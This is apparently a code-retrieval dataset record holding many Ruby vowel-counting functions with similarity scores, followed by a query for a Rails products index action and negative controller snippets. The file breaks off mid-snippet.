[ "def num_vowels(str)\n str.count(VOWELS)\nend", "def VowelCount(str)\n str.count \"aeiou\" \nend", "def count_vowels(string)\n string.downcase.count('aeiou')\nend", "def count_vowels(str)\n str.count(\"aeoui\")\nend", "def vowel_count(str)\n str.downcase.count('aeiou')\nend", "def num_vowels(str)\n str.downcase.scan(/[aeiou]/).count\nend", "def vowel_count(string)\n\t\n\tstring.downcase.count \"aeiou\"\n\t\nend", "def get_vowel_count(string)\n vowels = [\"a\",\"e\", \"i\", \"o\", \"u\"]\n vowel_count = 0\n string.each_char do |char|\n vowel_count += 1 if vowels.include?(char)\n end\n vowel_count\nend", "def num_vowels(str)\n # your code goes here\n str.downcase!\n str.count(\"aeiou\")\nend", "def num_vowels(str)\n # your code goes here\n vowel_count = 0\n vowels = 'aeiou'\n str.downcase.each_char do |ch|\n if vowels.include?(ch)\n vowel_count += 1\n end\n end\n vowel_count\nend", "def count_vowels(string)\n\t\n\tvowel_counter = 0\n\tstring_splitter = string.split(\"\")\n\t\n\tstring_splitter.each do |letter|\n\t\tif letter.include?(\"a\") \n\t\t\tvowel_counter += 1\n\t\telsif letter.include?(\"e\") \n\t\t\tvowel_counter += 1\n\t\telsif letter.include?(\"i\") \n\t\t\tvowel_counter += 1\n\t\telsif letter.include?(\"o\") \n\t\t\tvowel_counter += 1\n\t\telsif letter.include?(\"u\") \n\t\t\tvowel_counter += 1\n\t\telsif letter.include?(\"y\") \n\t\t\tvowel_counter += 1\n\t\tend\n\tend\nvowel_counter\nend", "def vowel_count (string)\n\n vowel_number = 0\n i = 0\n\n while( string.length() > i )\n\n if( (string[i] == \"a\") || (string[i] == \"e\") || (string[i] == \"i\") || (string[i] == \"o\") || (string[i] == \"u\") )\n vowel_number += 1\n end\n\n i += 1\n end\n\n return vowel_number\nend", "def count_vowels(s)\n\tp s.count('aeiou')\nend", "def vowel_count(str)\n str.split('').select { |a| a =~ /[aeiouAEIOU]/ }.length\nend", "def num_vowels(str)\n vowels = \"aeiou\"\n count = 0\n str.downcase.each_char {|ch| count += 1 if vowels.include?(ch)}\n count\nend", "def num_vowels(str)\n vowels = 'aeiou'\n count = 0\n str.downcase.each_char do |char|\n count += 1 if vowels.include?(char)\n end\n count\nend", "def vowel_count(string)\n\tcounter = 0\n\tletters = string.split(\"\")\n\tletters.each do |letter|\n\t\tif letter == \"a\"\n\t\t\tcounter += 1\n\t\telsif letter == \"e\"\n\t\t\tcounter += 1\n\t\telsif letter == \"i\"\n\t\t\tcounter += 1\n\t\telsif letter == \"o\"\n\t\t\tcounter += 1\n\t\telsif letter == \"u\"\n\t\t\tcounter += 1\n\t\tend\n\tend\n\tp counter\nend", "def num_vowels(str)\n vowels = \"aeiou\"\n count = 0\n str.downcase.each_char do |char|\n if vowels.include?(char)\n count += 1\n end\n end\n return count\nend", "def VowelCount(str)\n count = 0\n \n str.each_char do |c|\n count += 1 if c =~ /[aeiou]/\n end\n \n return count\nend", "def countVowels(str='')\n str.scan(/[aeiou]/i).size\nend", "def VowelCount(str)\n\n # code goes here\n count = 0\n \n str.each_char do |letter|\n if letter =~ /[aeiou]/\n count += 1 \n end\n end\n \n return count\n \nend", "def count_vowels(word)\nend", "def VowelCount(str)\n str.scan(/[aeiouAEIOU]/).count\nend", "def VowelCount(str)\n\n counter = 0\n str.each_char do |x|\n if(x.match(/[aieou]/))\n counter += 1\n end\n end\n return counter\n \nend", "def get_count(input_str)\n input_str.count \"aeiou\"\nend", "def count_vowels(str)\n vowels = 0\n str.split('').each do |char|\n vowels += 1 if ['a', 'e', 'i', 'o', 'u'].include? char\n end\n vowels\nend", "def vowelCount(str)\n\tcount = 0\n\tstr = str.split('').each{|x| count += 1 if(%(a e i o u).include?(x))}\n\treturn count\nend", "def Vowel_Count(string)\n a_count=0\n e_count=0\n i_count=0\n o_count=0\n u_count=0\n for pos in 0..string.length\n word=string[pos]\n if (word==\"a\")\n a_count = a_count+1\n elsif(word==\"e\")\n e_count = e_count+1\n elsif(word==\"i\")\n i_count = i_count+1\n elsif(word==\"o\")\n o_count = o_count+1\n elsif(word==\"u\")\n u_count = u_count+1\n end\n end\n puts \"Number of A = #{a_count}\"\n puts \"Number of E = #{e_count}\"\n puts \"Number of I = #{i_count}\"\n puts \"Number of O = #{o_count}\"\n puts \"Number of U = #{u_count}\"\nend", "def count_vowels (string)\n\n # Downcase for case insensitivity, get vowels, drop non-unique, count\n return string.downcase.scan(/[aeiou]/).uniq.count\n\nend", "def count_vowels(string)\n num_vowels = 0\n\n i = 0\n while i < string.length\n if (string[i] == \"a\" || string[i] == \"e\" || string[i] == \"i\" || string[i] == \"o\" || string[i] == \"u\")\n num_vowels += 1\n end\n\n i += 1\n end\n\n return num_vowels\nend", "def count_vowels(string)\n x = 0\n vowelcount = 0\n while string.length > x\n it = string[x]\n if it == \"a\" || it == \"e\" || it == \"i\" || it == \"o\" || it == \"u\"\n vowelcount += 1\n end\n x += 1\n end\n return vowelcount\nend", "def vowels(str)\n the_vowels = ['a', 'e', 'i', 'o', 'u']\n vowel_count = 0\n str.split('').each { |char|\n if the_vowels.include?(char.downcase)\n vowel_count += 1\n end\n }\n\n vowel_count\nend", "def num_vowels(str)\n # your code goes here\n new_str = str.downcase\n vowels ='aeiou'\n count = 0\n new_str.each_char do |char|\n if vowels.include?(char)\n count += 1\n end\n end\n\n count\nend", "def VowelCount(str)\ncount=0\n\tarr=str.split(//)\n \tarr.each{|x| count=count+1 if x.match(/[aeiou]/) }\n \treturn count\nend", "def get_count(input_str)\n input_str.downcase.count(\"aeiou\")\nend", "def vowel_count (str)\n sentence = str.downcase\n letters = sentence.split(\"\")\n count = 0\n vowels = %w{a e i o u}\n letters.each do |letter|\n if vowels.include?(letter) \n count += 1\n end\n end\n puts count\nend", "def VowelCount(str)\n count = 0\n i = 0\n str = str.downcase.split(\"\")\n while i < str.length\n if str[i] == \"a\" || str[i] == \"e\" || str[i] == \"i\" || str[i] == \"o\" || str[i] == \"u\"\n count += 1\n end\n i += 1\n end\n return count\nend", "def num_vowels(word)\r\n vowels = [\"a\", \"e\", \"i\", \"o\", \"u\"]\r\n word.chars.count {|ch| vowels.include?(ch.downcase)}\r\nend", "def VowelCount(str)\n\n # code goes here\n vowel = ['a','e','i','o','u']\n ary = str.split(//)\n counter = 0\n ary.each do |letter|\n if vowel.include? letter\n counter += 1\n end\n end\n return counter\n \nend", "def num_vowels(str)\n result = 0\n str.each_char do |chr|\n VOWELS.each do |vow|\n if chr == vow\n result +=1\n end\n end\n end\n result\nend", "def count_vowels\n text.scan(/[aeoui]/).length\n end", "def getCount(inputStr)\n inputStr.count('aeiou')\nend", "def getCount(inputStr)\n inputStr.count('aeiou')\nend", "def getCount(inputStr)\n inputStr.count 'aeiouAEIOU'\nend", "def getCount(inputStr)\n return inputStr.count(\"aeiou\")\nend", "def getCount(inputStr)\n vowels = [\"a\",\"e\",\"i\",\"o\",\"u\"]\n count = 0\n \n letters = inputStr.split(\"\")\n letters.each { |letter|\n if vowels.include?(letter)\n count += 1\n end\n }\n count\nend", "def getCount(inputStr)\n inputStr.scan(/[aeiou]/i).size\nend", "def getCount(inputStr)\n inputStr.scan(/[aeiou]/i).size\nend", "def num_vowels(str)\r\n # your code goes here\r\n\r\n vowels = [\"a\",\"A\",\"e\",\"E\",\"i\",\"I\",\"o\",\"u\",\"U\"]\r\n num_vowels = 0\r\n\r\n i = 0\r\n while i < str.length\r\n if vowels.include?(str[i])\r\n num_vowels += 1\r\n end\r\n i += 1\r\n\r\n end\r\n num_vowels\r\nend", "def vowel_count(word)\n count = 0\n vowels = \"aeiouAEIOU\"\n word.each_char do |char|\n if vowels.include?(char)\n count += 1\n end\n end\n return count\nend", "def num_vowels(str)\r\n # your code goes here\r\n vowels = ['a', 'e', 'i', 'o', 'u']\r\n num_vowels = 0\r\n str = str.downcase\r\n\r\n i = 0\r\n while i < str.length\r\n if vowels.include?(str[i])\r\n num_vowels += 1\r\n end\r\n i += 1\r\n end\r\n num_vowels\r\n\r\nend", "def getCount(inputStr)\n inputStr.downcase.count('aeiou')\nend", "def vowel_count(word)\n count = 0 \n vowels = \"aeiou\"\n word.each_char do |char|\n if vowels.include?(char)\n count += 1\n end\n end\n\n return count\nend", "def getCount(inputStr)\n inputStr.downcase.count('aeiou')\nend", "def getCount(inputStr)\n inputStr.downcase.count('aeiou')\nend", "def getCount(inputStr)\n inputStr.downcase.count(\"aeiou\")\nend", "def count_vowels(str)\n str.chars.map do |letter|\n if vowel? letter\n letter = 1\n else\n letter = 0\n end\n end.reduce(0, :+)\nend", "def num_vowels(str)\n vowels = [\"a\", \"e\", \"i\", \"o\", \"u\", \"A\", \"E\", \"I\",\"O\", \"U\"]\n count = 0\n\n chars = str.chars\n\n chars.each do |le|\n if vowels.index(le) != nil\n count += 1\n end\n\n end\n\n count\nend", "def getCount(inputStr)\n inputStr.scan(/[aeiou]/).count\nend", "def vowel_counter(word)\n count = 0\n vowels = \"aeiouAEIOU\"\n word.each_char do |char|\n if vowels.include?(char)\n count += 1\n end\n end\n count\nend", "def count_vowels(string)\ni = 0\nvowels = 0\n while i<string.length do\n if string[i] == \"a\" || string[i] == \"e\" || string[i] == \"i\" || string[i] == \"o\" || string[i] == \"u\"\n vowels += 1\n end\n i += 1\n end\nputs vowels\nend", "def get_count(input)\n input.count('aeiou')\nend", "def getCount(inputStr)\n inputStr.chars.count{|letter| letter=~/[aeiou]/}\nend", "def vowel_recognition input\n\tinput, count = input.split(\"\").map! {|x| x =~ /[a,e,i,o,u,A,E,I,O,U]/ ? x = 1 : x = 0 }, 0\n\tinput.each_with_index { |x, ind| x == 0 ? 0 : count += ((ind + 1) * (input.length - ind)) } \n\tp count\nend", "def vowels(text)\n vowels = %w(A E I O U)\n chars = text.upcase.split('')\n vowel_count = 0\n\n chars.each { |c| vowel_count += 1 if vowels.include? c }\n\n vowel_count.to_f / text.length\n end", "def count_vowels(word)\n\tcounter = 0\n \ti = 0\n \twhile i < word.length\n vowel = word[i]\n if vowel == \"a\" || vowel == \"e\" || vowel == \"i\" || vowel == \"o\" || vowel == \"u\"\n counter += 1\n end\n i += 1\n end\n return counter\nend", "def getCount(inputStr)\n #your code here\n count = 0\n inputStr.chars {|x| x.match(/[aeiou]/) ? count += 1 : count += 0 }\n count\nend", "def getCount(input_str)\n regex = /[aeiou]/\n input_str.split('').select { |char| char if char =~ regex }.count\nend", "def getCount(s)\n s.count('aeiou')\nend", "def count_vowels(word)\n counter = 0\n i = 0\n while i < word.length\n if word[i] == 'a' ||\n word[i] == 'e' ||\n word[i] == 'i' ||\n word[i] == 'o' ||\n word[i] == 'u'\n counter += 1\n end\n i += 1\n end\n return counter\nend", "def get_count(input_str)\n input_str.scan(/[euoai]/).size\nend", "def getCount(str)\n str.count(\"AEIOUaeiou\")\nend", "def getCount(str)\n # str = \"abracadabra\" => 5\n vowels = [\"a\", \"i\", \"e\", \"o\", \"u\"]\n str.split(\"\").filter { |letter| vowels.include?(letter) }.count # filter is an alias for select\nend", "def count_vowels(word)\n totvow = 0 \n i = 0\n\n while i < word.length\n if word[i] == 'a' || word[i] == 'e' || word[i] == 'i' || word[i] == 'o' || word[i] == 'u'\n totvow += 1\n end\n\n i += 1\n end\n\n return totvow\nend", "def count_vowels(word)\n count = 0 \n \n i = 0 \n while i < word.length\n char = word[i]\n \n if char == \"a\" || char == \"e\" || char == \"i\" || char == \"o\" || char == \"u\"\n count += 1\n end\n\n i += 1\n end\n\n return count\nend", "def vowels(line)\n vowels = 0\n line.each_char do |c|\n if c.scan(/[aeiou]/) != []\n vowels += 1\n end\n end\n\n return vowels\nend", "def getCount(inputStr)\n vowels_arr=['a','e','i','o','u']\n num=0\n input_arr=inputStr.split(//)\n input_arr.each do |elem|\n vowels_arr.each do |elem2|\n if elem==elem2\n num+=1\n end\n end\n\n end\n\n return num\n\n\nend", "def vowel_recognition(s)\n (0...s.size).map {|i| s[i] =~ /[aeiou]/i ? (s.size - i) * (i + 1) : 0}.sum\nend", "def count_vowels(string)\r\n list = {}\r\n a = string.count(\"a\")\r\n e = string.count(\"e\")\r\n i = string.count(\"i\")\r\n o = string.count(\"o\")\r\n u = string.count(\"u\")\r\n list[\"a\"] = a\r\n list[\"e\"] = e\r\n list[\"i\"] = i\r\n list[\"o\"] = o\r\n list[\"u\"] = u\r\n list\r\nend", "def count_vowels(word)\n\tvowels = [\"a\",\"e\",\"i\",\"o\",\"u\",\"A\",\"E\",\"I\",\"O\",\"U\"]\n \ti = 0\n \tcount = 0\n \twhile ( i < word.length)\n if( vowels.include? word[i] )\n count+=1\n end\n i+=1\n end\n return count\nend", "def count_vowels(word)\n count = 0\n i = 0\n vowels = ['a', 'e', 'i', 'o', 'u']\n \n while i < word.length\n if vowels.include? word.downcase[i] # or char == \"a\" || char == \"e\" etc.\n count += 1\n end\n i += 1\n end\n \n return count\nend", "def count_of_upper_case_vowels\n strings = @new_content.map(&:capitalize).join.scan(/[#{VOWELS}][^#{VOWELS}]*/)\n total = 0\n\n (1..strings.size - 1).each do |index|\n prev_string = strings[index - 1]\n next unless prev_string.match(/[#{CONSONANTS.upcase}]/).nil?\n char = strings[index][0]\n next unless capitalized?(char) || (capitalized?(prev_string[0]) && prev_string.size > 2)\n total += 1\n strings[index][0] = char.upcase\n end\n total\n end", "def vowel_counter(string, vowels_array, syllable_counter)\n string_by_word = string.split(' ')\n p string_by_word\n string_by_word.each do |word|\n p word\n vowels_array.each do |char|\n syllable_counter += word.count(char)\n end\n binding.pry\n # if word ends in E\n if word[-1] === 'e'\n syllable_counter -= 1\n end\n # if word ends in ES\n if word[-1] === 's'\n if word[-2] === 'e'\n syllable_counter -= 1\n end\n end\n # if word has 'AE'\n if word.include?('ae')\n syllable_counter -= 1\n end\n # if word has 'AI'\n if word.include?('ai')\n syllable_counter -= 1\n end\n # if word has 'DGE'\n if word.include?('dge')\n syllable_counter -= 1\n end\n # if word has 'EA'\n if word.include?('ea')\n syllable_counter -= 1\n end\n # if word has 'EI'\n if word.include?('ei')\n syllable_counter -= 1\n end\n # if word has 'GE'\n if word.include?('ge')\n syllable_counter -= 1\n end\n # if word has 'IE'\n if word.include?('ie')\n syllable_counter -= 1\n end\n # if word has 'OA'\n if word.include?('oa')\n syllable_counter -= 1\n end\n # if word has 'OI'\n if word.include?('oi')\n syllable_counter -= 1\n end\n # if word has 'OU'\n if word.include?('ou')\n syllable_counter -= 1\n end\n end\n # remove 21\n p syllable_counter\n end", "def checkvowel(str)\n vowels = {'a' => 0, 'e' => 0, 'i' => 0, 'o' => 0, 'u' => 0}\n count = 0\n str.split(\"\").each do|char|\n if !vowels[char].nil?\n vowels[char] += 1\n count += 1\n end\n end\n puts \"Vowels found: #{count}\"\n vowels.each do |k,v|\n puts \"#{k}: #{v}\"\n end\nend", "def count_e(word)\n puts word.count('e')\nend", "def custom_count(string, search_characters)\n # Return the number of total times that\n # the search character are in the string\n\n # word = string.count(\"#{search_characters}\")\n # word\n count = 0\n word = string.downcase\n word.each_char do |char|\n if search_characters.include?(char)\n count += 1\n end\n end\n count\nend", "def vowels (string)\n vowels_arr = []\n count_vowels = string.scan(/[aeoui]/)\n vowels_arr << count_vowels\n puts vowels_arr\nend", "def vowels (string)\n # Your code here\nend", "def nice_strings(input)\n strings = input.split(\"\\n\").map(&:strip)\n nice_count = 0\n strings.each do |string|\n twinsy = twinsies(string)\n vowel_count = get_vowel_count(string)\n nice_count += 1 if !illegal(string) && vowel_count > 2 && twinsy == true\n end\n nice_count\nend", "def solve(string)\n vowels = 'aeiou'\n string_of_chars = string.chars\n \n count = 0\n counted = []\n \n string_of_chars.each do |char|\n if vowels.include?(char)\n count += 1\n else\n count = 0\n end\n counted << [count]\n end\n counted.max.first\n end", "def vowels (string)\r\n<<<<<<< HEAD\r\n # commented stuff is to return the values when the program is run; question asks to have the return value available in the test\r\n # vowels = []\r\n count_vowels = string.scan(/[aeiou]/i)\r\n # vowels << count_vowels\r\n # print vowels\r\nend", "def index_of_the_first_vowel(str)\n #v = [\"a\",\"e\",\"i\",\"o\",\"u\"]\n #v.map { |c| [str.index(c)] }.first\n s = string.chars.count {|char| vowels.include? (char)}\nend", "def custom_count(string, search_characters)\n total_chars = 0\n #\n search_characters.each_char do |sc|\n # split the string and review letter & sc\n letters = string.each_char { |letter| letter == sc ? total_chars += 1 : next }\n\n end # end of do (search chars)\n\n total_chars\nend", "def vowels_6(words)\n words.downcase.match(/a|e|i|o|u/).to_s\nend", "def segment_length(word)\n chars_before_vowel = 0\n word.each_char do |letter|\n if is_vowel?(letter)\n break\n end\n chars_before_vowel += 1\n end\n length = word.length - chars_before_vowel\n return length\nend", "def custom_count(string, search_characters)\n count = 0\n\n # string.each_char do |char|\n # if search_characters.include?(char)\n # count += 1\n # end\n # end\n # count\n \n string.each_char {|char| count += 1 if search_characters.include?(char) }\n count\nend", "def count_chars (string)\n string.length\nend", "def count_code(string) # return the number of times 'co'+any_char+'e' appears\n return string.scan(/co.e/).length #easy way with regex\nend", "def count_vowels (string)\r\n array = []\r\n letters = string.split(\"\")\r\n array << letters\r\n array.each do | letters |\r\n vowels = []\r\n if letters == \"a\"\r\n vowels << letters\r\n elsif letters == \"e\"\r\n vowels << letters\r\n elsif letters == \"i\"\r\n vowels << letters\r\n elsif letters == \"o\"\r\n vowels << letters\r\n elsif letters == \"u\"\r\n else\r\n puts \"no\"\r\n end\r\n #puts array.include?(\"a\")\r\n end\r\nend", "def get_count(*words)\n\n\tif words[0].class == String\n\t\t# remove anything not a-zA-z\n\t\twords = words[0].gsub(/[^a-z^A-Z]/, \"\")\n\t\t# take everything to downcase to better count vowels, get total length string\n\t\twords = words.downcase\n\t\tlen = words.length\n\n\t\t# match aeio; will return[]; count #vowels\n\t\tvowels = words.scan(/[aeiou]/)\n\t\tvowel_len = vowels.length\n\t\tconsonants_len = len - vowel_len\n\n\t\t# create new Hash with info \n\t\toutput = {\"vowels\"=>vowel_len, \"consonants\" =>consonants_len}\n\telse\n\t\toutput = {\"vowels\"=>0, \"consonants\" =>0}\n\tend \nend" ]
[ "0.8722585", "0.853723", "0.85061866", "0.848667", "0.8465922", "0.845591", "0.8411559", "0.8288832", "0.8266928", "0.8234893", "0.82280535", "0.82161695", "0.8205364", "0.819957", "0.8189489", "0.81841403", "0.81809205", "0.81790066", "0.81785643", "0.8169062", "0.81365556", "0.8136529", "0.81324536", "0.8131522", "0.80782276", "0.8074188", "0.805881", "0.80433", "0.8024497", "0.80237526", "0.801111", "0.801068", "0.8005445", "0.8001138", "0.79719836", "0.7968669", "0.7950226", "0.79494697", "0.79269224", "0.79044104", "0.7858759", "0.785665", "0.785665", "0.78563213", "0.7856098", "0.7852456", "0.78367776", "0.78367776", "0.7832314", "0.7828614", "0.781461", "0.7810362", "0.77996385", "0.77988815", "0.77988815", "0.7785904", "0.7756718", "0.771145", "0.768541", "0.76721007", "0.7670223", "0.763517", "0.7605748", "0.75795853", "0.7556034", "0.7521998", "0.7508268", "0.75004566", "0.74810064", "0.7479727", "0.7466007", "0.7462011", "0.7418779", "0.74140495", "0.7319313", "0.73185956", "0.7293693", "0.72732955", "0.72364885", "0.7192846", "0.71213174", "0.7067823", "0.69980556", "0.6929541", "0.6852246", "0.67868936", "0.6766635", "0.67588603", "0.6753503", "0.669823", "0.668467", "0.665592", "0.6552073", "0.65364987", "0.65272117", "0.6519564", "0.6511819", "0.65078413", "0.648989", "0.64894617" ]
0.8356589
7
GET /matter_products GET /matter_products.json
def index @matter_products = MatterProduct.all end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def products\n request :public, :get, :products\n end", "def get_products()\n\tputs \"Getting products\"\n\tresponse = request_get(\"/api/product\")\n\tputs response.body\nend", "def index\n @products = Product.all\n render json: @products\n end", "def product(name)\n get(\"/apiproducts/#{name}\")\n end", "def index\n begin\n @products = Product.all\n render json: @products, status: 200\n rescue => exception\n render json: { errors: exception }\n end\n end", "def index\n @api_v1_products = Product.all\n json_response(@api_v1_products)\n end", "def index\n limit = params[:limit]&.to_i || 10\n page = params[:page]&.to_i || 0\n if params[:available] == \"1\"\n @products = Product.paginate(page, limit).available\n else\n @products = Product.paginate(page, limit)\n end\n render json: @products\n end", "def index\n @products = Product.order('item_code ASC').page(params[:page]).per(25)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @products }\n end\n end", "def index\n \tproducts = Product.all\n \trender json: products\n \tend", "def index\n @food_products = FoodProduct.all\n render json: @food_products\n end", "def index\n @products = Product.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @products }\n end\n end", "def index\n @products = Product.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @products }\n end\n end", "def index\n @products = Product.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @products }\n end\n end", "def index\n @products = Product.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @products }\n end\n end", "def index\n @products = Product.all\n respond_to do |format|\n format.html\n format.json { render :json => @product }\n end\n end", "def index\n @products = Product.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @products }\n end\n end", "def index\n @products = Product.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @products }\n end\n end", "def index\n @products = Product.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @products }\n end\n end", "def index\n @products = Product.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @products }\n end\n end", "def index\n @products = current_company.products.order('created_at desc').page(params[:page]).per(20)\n render json: @products, meta: {total_pages: @products.total_pages, total_count: @products.total_count}\n end", "def products\n run(:get,\"/school_products\", [200])\n end", "def user_products\n @products = current_user.products\n\n respond_to do |format|\n format.html\n format.json { render json: @products }\n end\n end", "def index\n if is_my_resource(params[:prossumer_id])\n @products = Product.where(prossumer_id: params[:prossumer_id]).as_json({\n cycle_id: params[:cycle_id],\n include: {\n prossumer: {\n except: [:encrypted_password, :salt, :confirm_hash]\n },\n product_category: {}\n }\n })\n render json: @products\n end\n end", "def getKind\n @products = Product.where(\"kind = ?\", params[:kind]).available.PriceOrder.paginate(page: params[:page], per_page: 5)\n render json: @products\n end", "def index\n #@products = Product.all\n @products = Product.paginate( :page => params[:page],\n :per_page => 40\n )\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @products }\n end\n end", "def index\n @products = Product.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @inventories }\n end\n end", "def index\n @products = Product.all\n msg = { status: 200 , product: @products }\n respond_to do |format|\n format.html { render json: msg }\n format.json { render json: msg }\n end\n end", "def index\n\t\t@products = Product.page(params[:page])\n respond_with(@products)\n end", "def get_products_by_category\n json_response({ message: 'NOT IMPLEMENTED' })\n end", "def show\n @products = Product.find_by_id(params[:id])\n msg = { status: 200 , product: @products }\n respond_to do |format|\n format.html { render json: msg }\n format.json { render json: msg }\n end\n end", "def index\n @products = @user.products\n # was @products = Product.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @products }\n end\n end", "def show\n @products = @merk_lensa.products.order(\"created_at ASC\").paginate(:page => params[:page], :per_page => 9)\n end", "def get_products\n products = response['products']\n products_ops = []\n products.each_value do |value|\n product = {}\n product[:sku] = value['sku']\n product[:product_family] = value['productFamily']\n product[:pricing_list_id] = pricing_list.id\n attributes = value['attributes']\n product[:service_code] = attributes['servicecode']\n product[:location] = attributes['location']\n product[:location_type] = attributes['locationType']\n product[:usage_type] = attributes['usagetype']\n product[:operation] = attributes['operation']\n product[:request_description] = attributes['requestDescription']\n product[:request_type] = attributes['requestType']\n product[:service_name] = attributes['servicename']\n product[:pricing_list_id] = pricing_list.id\n product[:created_at] = Time.zone.now.utc\n product[:updated_at] = Time.zone.now.utc\n products_ops << product\n end\n products_ops\n end", "def products\n end", "def index\n @products = Product.order(\"created_at desc\").paginate(page: params[:page], per_page: 21)\n\n respond_with @products\n end", "def index\n respond_to do |format|\n format.html\n format.json {\n if params[:filter]\n json_filter = JSON.parse(params[:filter])\n filter = Product.filter json_filter\n\n product_ids = Product.search_for_ids json_filter[\"query\"], :per_page => 10000\n @products = Product.where(id: product_ids).where(filter)\n else\n @products = Product.all\n end\n\n render json: @products.includes(:category).as_json(include: [:category, :photo])\n }\n end\n end", "def show\n respond_to do |format|\n format.html {render \"products/show\"}\n format.json {\n product = Product.where(id: params[:id]).includes(:category).first\n render json: product.as_json(include: [:category, :photo])\n }\n end\n end", "def index\n #@products = Product.all\n @products = Product.order('created_at ASC').page(params[:page]).per(12)\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @products }\n end\n end", "def index\n @products = get_products\n \n respond_to do |format|\n format.html # index.html.haml\n format.js # index.js.rjs\n format.xml { render :xml => @products }\n end\n end", "def index\n @tipo_products = TipoProduct.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @tipo_products }\n end\n end", "def index\n @ordered_products = OrderedProduct.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @ordered_products }\n end\n end", "def all\n @products = Product.get_list_active_products.page(params[:page]).per(10)\n if @products.present?\n @products\n else\n @object = 'product'\n render \"api/v1/errors/404\", status: 401\n end\n end", "def show\n json_response(@api_v1_product)\n end", "def show\n render json: @product, status: 200\n end", "def show\n render json: @product\n end", "def show\n render json: @product\n end", "def show\n @product = Product.find(params[:id])\n json_response(params)\n end", "def index\n @products = @co.products\n end", "def index\n render :json => Producto.all\n end", "def products(params = {})\n @products ||= product_ids.map do |product_id|\n client.products.find(product_id)\n end\n end", "def show\n @category = Category.find(params[:id])\n @search = @category.products.search(params[:q])\n @products = @search.result.page(params[:page]).per(current_user.list_page_size)\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @category }\n end\n end", "def show\n @products = CatalogMebeli.find(params[:id]).products\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @product }\n end\n end", "def index\n @products = Spree::Product.not_deleted.includes(:variants).page(params[:page]).per(Spree::Config[:orders_per_page])\n respond_with @products\n end", "def products\n Product.all\n end", "def show\n @product = @person.products.find(params[:id])\n\n respond_to do |format|\n format.json { render :json => @product }\n end\n end", "def index\n @products = get_products(:page => params[:page], :per_page => params[:per_page])\n\n respond_to do |format|\n format.html # index.html.haml\n format.js # index.js.rjs\n format.xml { render :xml => @products }\n end\n end", "def show\n @product = Product.find(params[:id])\n\n render json: @product\n end", "def index\n @physical_data_products = PhysicalDataProduct.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @physical_data_products }\n end\n end", "def index\n products = Product.all\n render json: {message: \"ok\", data: products}\n puts \"hello\"\n\n end", "def index\n @products = Product.all\n render json: {is_success: true, error_code: 200, message: \"Products Found Successfully\", result: @products}, status: 200\n end", "def show\n @items = cart.items\n @products = @items.collect(&:product)\n \n respond_to do |format|\n format.html { render layout: false } \n format.json { render json: @items }\n end\n end", "def get_products_by_ids\n products_ids = params[:products_ids]\n products = Array.new\n JSON.parse(products_ids).each do |product_id|\n product = Product.find_by_id(product_id)\n if product\n products.push(product)\n end\n end\n render json: {products: serialized_products(products)}, status: :ok\n end", "def index\n b_admin = current_user.admin? rescue false\n @products = Product.filter_by_params(b_admin, params)\n #@products = Product.available\n \n @title = Product.page_description(params)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @products }\n end\n end", "def index\n @products = Product.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @products }\n format.json { render :json => @products }\n end\n end", "def products\n FarMar::Product.by_vendor(id)\n end", "def products\n FarMar::Product.by_vendor(id)\n end", "def index\n scope = Product.includes(:merchant, :brand, :category, :founder, :likers, comments: :user)\n scope = scope.order(updated_at: :desc)\n @products = paginate scope.all\n respond_to do |format|\n format.html\n format.json { render json: @products }\n end\n end", "def index\n @pe_exchange_products = PeExchangeProduct.all.page(params[:page]).per(params[:per_page])\n respond_to do |format|\n format.html\n format.json { render json:\n list_json(@pe_exchange_products, :include => [:pe_product])\n }\n end\n end", "def show\n product = Product.find_by_id(params[:id])\n\n render json: product\n end", "def show\n @products = Product.find(params[:id])\n end", "def index\n @product_images = ProductImage.where(product_uuid: params[:product_id])\n render json: @product_images, status: 200\n end", "def index\n begin\n \n products = Product.all\n render json: {\n success: true,\n totalRecords: products.length,\n data: (ActiveModel::ArraySerializer.new(products, each_serializer: ProductSerializer))\n }, status: 200\n rescue ActiveRecord::RecordNotFound => e\n render json: {\n success: false,\n errors: e.message\n }, status: 404\n rescue Exception => e\n render json: {\n success: false,\n errors: e.message\n }, status: 500\n end\n end", "def index\n @sc_products = ScProduct.all\n\n respond_to do |format|\n format.html\n format.json { render json: @sc_products }\n format.xml { render xml: @sc_products }\n end\n end", "def index\n @product_managements = ProductManagement.all\n\n render json: @product_managements\n end", "def show\n @product = ProductProduct.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @product }\n end\n end", "def products\n @products = ['ninja', 'fish', 'chauffeur']\n respond_to do |format|\n format.html # render html version\n format.xml {\n # NOTE This only works for ActiveRecord objects\n # render :xml => @products.to_xml\n render :file => \"machines/products.rxml\", :use_full_path => true\n }\n end\n end", "def index\n @categories = Category.all\n @products = {}\n @categories.each do |c|\n products_by_category = c.products\n @products[c.id.to_s] = products_by_category\n end\n @products = Product.all if @products.nil?\n logger.info(@products)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @products }\n end\n end", "def show\n render json: @food_product\n end", "def show\n respond_to do |format|\n format.html\n format.json { render :json => @product }\n end\n end", "def show\n @breadcrumb = 'read'\n @product_type = ProductType.find(params[:id])\n @products = @product_type.products.paginate(:page => params[:page], :per_page => per_page).order('product_code')\n \n respond_to do |format|\n format.html # 